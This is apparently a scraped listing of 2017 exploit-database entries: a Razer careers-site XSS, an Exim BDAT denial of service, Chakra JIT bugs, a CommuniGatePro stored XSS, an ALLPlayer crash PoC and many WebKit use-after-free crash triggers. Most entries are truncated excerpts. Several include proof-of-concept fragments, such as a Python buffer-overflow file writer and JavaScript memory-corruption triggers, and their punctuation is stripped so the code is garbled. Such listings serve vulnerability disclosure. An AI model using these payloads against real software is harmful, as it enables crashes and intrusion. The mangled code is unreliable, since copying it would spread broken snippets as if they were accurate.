Razer US: POST XSS in careers.razerzone.com via the txt_email parameter.

The researcher discovered a POST based XSS on an administrative login page on our careers.razerzone.com website that would have allowed the execution of scripts in some browsers e.g. Firefox. This was fixed on 1/5. Another great report. We'd also like to acknowledge the researcher's effort in...

Exim 4.89 - BDAT Denial of Service Exploit

Exploit for multiple platform in category dos / poc While parsing BDAT data header, exim still scans for '.' and consider it the end of mail. https://github.com/Exim/exim/blob/master/src/src/receive.cL1867 Exim goes into an incorrect state after this message is sent because the function pointer...

Microsoft Edge Chakra JIT - Inline::InlineCallApplyTarget_Shared does not Return the return Instruction

Microsoft Edge Chakra JIT - Inline::InlineCallApplyTargetShared does not Return the return Instruction / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1366 Here's a snippet of Inline::Optimize. FOREACHINSTREDITINGinstr, instrNext, func-mheadInstr switch instr-mopcode case...

ALLPlayer 7.5 - Denial of-Service (PoC)

!/usr/bin/python buffer = b"http://" buffer += b"\x41" 1500 f=open"player.m3u","wb" f.writebuffer f.close...

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTargetShared doesn't return the return instruction CVE-2017-11841 Here's a snippet of Inline::Optimize. FOREACHINSTREDITINGinstr, instrNext, func-mheadInstr switch instr-mopcode case Js::OpCode::Label: ... if instr-AsLabelInstr-misForInExit...

Microsoft Edge Chakra JIT Incorrect Function Declaration Scope

Microsoft Edge: Chakra: JIT: Incorrect function declaration scope CVE-2017-11870 In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x ". This bug may lead to type confusion in...

CommuniGatePro 6.1.16 Cross Site Scripting

Exploit Title: CommuniGatePro webmails Multiple Stored XSS Date: 15/11/2017 Exploit Author: Boumediene KADDOUR Unit: Algerie Telecom R&D Unit Vendor Homepage: https://www.stalker.com/ Software Link: http://www.stalker.com/ paid product Version: 6.1.16 Tested on: production server on crystal, pron...

WebKit WebCore::TreeScope::documentScope Use-After-Free

WebKit: use-after-free in WebCore::TreeScope::documentScope CVE-2017-13796 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a;...

WebKit - WebCore::Style::TreeResolver::styleForElement Use-After-Free

WebKit - WebCore::Style::TreeResolver::styleForElement Use-After-Free function eventhandler1 try txt.appendChildkg; catche function eventhandler2 try anim.appendChildkg; catche function eventhandler3 try table.scrollIntoViewtrue; catche a !--...

WebKit - WebCore::DocumentLoader::frameLoader Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go iframe.name = "foo"; var form = document.createElement"form"; iframe.src = "data:text/html,foo"; form.submit; window.onbeforeunload = f; function f document.head.appendChilddel; ::get...

WebKit - WebCore::SimpleLineLayout::RunResolver::runForPoint Out-of-Bounds Read Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349 There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC:...

WebKit - WebCore::PositionIterator::decrement Use-After-Free Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1346 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC:...

WebKit - WebCore::TreeScope::documentScope Use-After-Free Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1344 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC:...

WebKit - WebCore::AXObjectCache::performDeferredCacheUpdate Use-After-Free Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1347 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be...

WebKit WebCore::DocumentLoader::frameLoader Use-After-Free

WebKit: use-after-free in WebCore::DocumentLoader::frameLoader CVE-2017-13794 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function go iframe.name...

WebKit - WebCore::RenderObject::previousSibling Use-After-Free

WebKit - WebCore::RenderObject::previousSibling Use-After-Free .class9 column-span: all; function f document.execCommand"indent", false; var var00031 = window.getSelection.setBaseAndExtentsum,16,null,6; f; !-- ================================================================= ASan log:...

WebKit - WebCore::SimpleLineLayout::RunResolver::runForPoint Out-of-Bounds Read

WebKit - WebCore::SimpleLineLayout::RunResolver::runForPoint Out-of-Bounds Read / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1349 There is an out-of-bounds read security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC:...

WebKit - WebCore::PositionIterator::decrement Use-After-Free

WebKit - WebCore::PositionIterator::decrement Use-After-Free / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1346 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC:...

WebKit - 'WebCore::FormSubmission::create' Use-After-Free

function jsfuzzer textarea1.setRangeText"foo"; textarea2.autofocus = true; textarea1.name = "foo"; form.insertBeforetextarea2, form.firstChild; form.submit; function eventhandler2 forvar i=0;i a b !-- ================================================================= ASan log:...

WebKit - 'WebCore::AXObjectCache::performDeferredCacheUpdate' Use-After-Free

/ Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1347 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac...